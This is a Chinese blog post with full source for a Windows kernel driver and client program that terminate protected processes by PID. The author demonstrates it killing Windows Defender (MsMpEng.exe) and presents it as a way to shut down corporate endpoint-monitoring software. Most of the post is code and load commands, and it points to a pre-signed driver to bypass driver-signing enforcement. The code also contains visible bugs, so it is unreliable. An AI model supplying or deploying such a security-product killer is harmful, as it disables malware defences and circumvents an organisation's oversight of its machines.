0x01 背景
前段事件应急的时候查一个windows Rootkit的时候,涉及到一个驱动过滤隐藏技术,准备学习下如何做的,奈何之前没接触过驱动开发,之前其实也有很多场景涉及到驱动开发的,比如之前做免杀的时候做的时候做的非常有限只能在r3层操作,但是很多终端安全防护软件其实都在r0层挂载了一些驱动来失陷一些检测功能,导致r3层做的一些免杀绕不开驱动的监测,所以这里借机就学习了下驱动开发技术的; 本文是笔者学习驱动开发之后做的第一个实践;学习的过程中想起之前的遇到的问题:
1、windows莫名奇妙开始风扇猛转,一看windowsdefend相关的进程占了50%内存,该死的defender又开始扫描了,打开任务管理器,强行结束相关进程,提示结束失败,结束不了;
2、公司终端管理软件下班之后还在监控我电脑的行为,退出也退出不了,需要退出密钥;
然后在学习驱动开发的时候找到了解决的办法。
0x02 原理
利用在r0层驱动能够直接调 ntoskrl.exe的ZW相关函数,这里直接调用ZwOpenProcess、ZwTerminateProcess函数来结束进程,应用层我们开发一个Appliction程序来给相关驱动传入指定pid即可;
如下是一个正常驱动调用图:
0x03 实现:
所有代码都在如下git项目:
https://github.com/minhangxiaohui/MyDriverforKillProcess
一、驱动实现
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
#include <stdio.h>
#include<ntifs.h>
#define DEVICE_SEND CTL_CODE(FILE_DEVICE_UNKNOWN,0x801,METHOD_BUFFERED,FILE_WRITE_DATA)
#define DEVICE_REC CTL_CODE(FILE_DEVICE_UNKNOWN,0x802,METHOD_BUFFERED,FILE_READ_DATA)
UNICODE_STRING DeviceName = RTL_CONSTANT_STRING(L"\\Device\\Mydevice123");
PDEVICE_OBJECT DeviceObject = NULL;
UNICODE_STRING SymLinkName = RTL_CONSTANT_STRING(L"\\??\\MydeviceLink123");
//驱动卸载
VOID DriverUnload(PDRIVER_OBJECT DriverObject) {
IoDeleteSymbolicLink(&SymLinkName);
IoDeleteDevice(DeviceObject);
DbgPrint("MyDriver is unloading\\n");
}
//Irp处理函数
NTSTATUS DispathPassRThru(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
PIO_STACK_LOCATION irpsp = IoGetCurrentIrpStackLocation(Irp);
NTSTATUS status= STATUS_SUCCESS;
switch (irpsp->MajorFunction) {
case IRP_MJ_CREATE:
DbgPrint("receive create rquest ");
break;
case IRP_MJ_READ:
DbgPrint("receive read rquest ");
break;
//case IRP_MJ_CLOSE:
// DbgPrint("receive close rquest ");
// break;
default:
status = STATUS_INVALID_PARAMETER;
break;
}
Irp->IoStatus.Information = 0;
Irp->IoStatus.Status = status;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return status;
}
NTSTATUS DispatchDevcCTL(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
PIO_STACK_LOCATION irpsp = IoGetCurrentIrpStackLocation(Irp);
NTSTATUS status = STATUS_SUCCESS;
ULONG returnLength = 0;
PVOID buffer = Irp->AssociatedIrp.SystemBuffer;
ULONG inLength = irpsp->Parameters.DeviceIoControl.InputBufferLength;
ULONG OutLength = irpsp->Parameters.DeviceIoControl.OutputBufferLength;
WCHAR* demo = L"driver's sample data";
int intPID;
PUNICODE_STRING unicodeString;
switch (irpsp->Parameters.DeviceIoControl.IoControlCode)
{
case DEVICE_SEND:
// 将wchar_t数组转换为Unicode字符串
RtlInitUnicodeString(&unicodeString, buffer);
DbgPrint("data form app is : %ws", buffer);
returnLength = (wcsnlen(buffer, 511) + 1) * 2;
// 将Unicode字符串转换为整数
if (NT_SUCCESS(RtlUnicodeStringToInteger(&unicodeString, 10, &intPID))) {
DbgPrint("after convert: %d\n", intPID);
}
else {
// 转换失败,处理错误
DbgPrint("can not convert\n");
}
// 创建进程句柄
HANDLE hProcess;
OBJECT_ATTRIBUTES objAttr;
CLIENT_ID clientId;
NTSTATUS status;
// 设置进程ID
clientId.UniqueProcess = (HANDLE)intPID;
InitializeObjectAttributes(&objAttr, NULL, OBJ_KERNEL_HANDLE, NULL, NULL);
// 打开进程
status = ZwOpenProcess(&hProcess, GENERIC_ALL, &objAttr, &clientId);
if (!NT_SUCCESS(status)) {
DbgPrint("can not open processhandle: 0x%X\n", status);
return status;
}
// 终止进程
status = ZwTerminateProcess(hProcess, STATUS_SUCCESS);
if (!NT_SUCCESS(status)) {
DbgPrint("can not terminate process : 0x%X\n", status);
ZwClose(hProcess);
return status;
}
ZwClose(hProcess);
DbgPrint("terminate successfued : 0x%X \n", status);
break;
case DEVICE_REC:// waiting recevice op
//wcsncpy(buffer, demo, 511);
//returnLength = (wcsnlen(buffer, 511) + 1) * 2;
//DbgPrint("data form driver is : %ws", buffer);
break;
default:
status = STATUS_INVALID_PARAMETER;
}
Irp->IoStatus.Status = status;
Irp->IoStatus.Information = returnLength;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
}
//驱动入口
NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegPath) {
NTSTATUS status;
DriverObject->DriverUnload = DriverUnload;
//创建DeviceObject
status = IoCreateDevice(DriverObject, 0, &DeviceName, FILE_DEVICE_UNKNOWN, FILE_DEVICE_SECURE_OPEN, FALSE, &DeviceObject);
if (!NT_SUCCESS(status)) {
DbgPrint("Creating DeviceObject Failed\r\n");
return status;
}
//创建服务连接,应用程序访问不到DeviceObject,需要一个SymlicLink
status = IoCreateSymbolicLink(&SymLinkName, &DeviceName);
if (!NT_SUCCESS(status)) {
DbgPrint("Creating SymbolicLink False\r\n");
IoDeleteDevice(DeviceObject);
return status;
}
int i;
for (i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++) {
DriverObject->MajorFunction[i] = DispathPassRThru;
//DriverObject->MajorFunction[IRP_MJ_READ] = ReadFunc;
//DriverObject->MajorFunction[IRP_MJ_CLOSE] = CloseFunc;
}
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DispatchDevcCTL;
DbgPrint("Initialize Success\\n");
return status;
}
二、Appliction
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#include<windows.h>
#include<winioctl.h>
#include <stdio.h>
#include <wchar.h>
#define DEVICE_SEND CTL_CODE(FILE_DEVICE_UNKNOWN,0x801,METHOD_BUFFERED,FILE_WRITE_DATA)
#define DEVICE_REC CTL_CODE(FILE_DEVICE_UNKNOWN,0x802,METHOD_BUFFERED,FILE_READ_DATA)
int main() {
HANDLE devicehandle = CreateFile("\\\\.\\MydeviceLink123",GENERIC_ALL,0,0,OPEN_EXISTING,FILE_ATTRIBUTE_SYSTEM,0);
if (devicehandle == INVALID_HANDLE_VALUE) {
MessageBox(NULL,"not valid value", "Notice", MB_OK);
return 0;
}
MessageBox(NULL, "Create devicehandle successfly", "Notice", MB_OK);
int pid;
wchar_t wcharArrayPID[20]; // 足够存储转换后的字符串
while (true) {
printf("Please enter the PID to terminate: ");
scanf("%d", &pid);
swprintf(wcharArrayPID, 20, L"%d", pid);
printf("int convert to wchar_t array: %ls\n", wcharArrayPID);
ULONG returnLength = 0;
char wr[4] = { 0 };
if (devicehandle != INVALID_HANDLE_VALUE && devicehandle != NULL) {
if (!DeviceIoControl(devicehandle, DEVICE_SEND, wcharArrayPID, (wcslen(wcharArrayPID) + 1) * 2, NULL, 0, &returnLength, 0))
{
MessageBox(NULL, "send data,DeviceIoControl error", "Notice", MB_OK);
}
else {
_itoa_s(returnLength, wr, 10);
MessageBox(NULL, "kill successful","Notice", MB_OK);
}
}
}
CloseHandle(devicehandle);
}
三、加载驱动
注意: 一般来说对于win10默认是不允许加载没有被签名的驱动, 所以这里我们要么找对公私钥倒腾下自签名 要么直接windows安全模式关闭这个限制,可以加载没有签名的驱动; 笔者在github项目里面准备了一个已经被签名的驱动;(dddd)
加载我们开发的驱动通常可以使用如下两种方式: 1、通过服务去加载
1
2
3
4
5
6
7
8
9
10
11
sc create MyDriverService binPath= "C:\Path\To\Your\Driver.sys" type= kernel start= demand
//创建服务
sc start MyDriverService
//开启服务
sc stop MyDriverService
//关闭服务
sc delete MyDriverService
//删除服务
2、通过指定工具去加载
这个工具比较多,比如常用的DriverMoniter
0x04 效果
msmpeng.exe 是 Windows Security(以前被称为 Windows Defender)的一个重要组成部分。它扫描你的电脑,找出从恶意软件到间谍软件的各种威胁,然后提供适当的解决方案。
直接通过r3层关闭该进程:
如通过任务管理器:
会报错拒绝访问:
这里我们拿到3112的pid通过DriverMoniter加载驱动配合Applicton来关闭:
使用DriverMoniter加载驱动
使用DriverView检查dbg信息;
运行application,输入pid:
看到DriverView上显示驱动提示关闭成功:
相关进程已被关闭: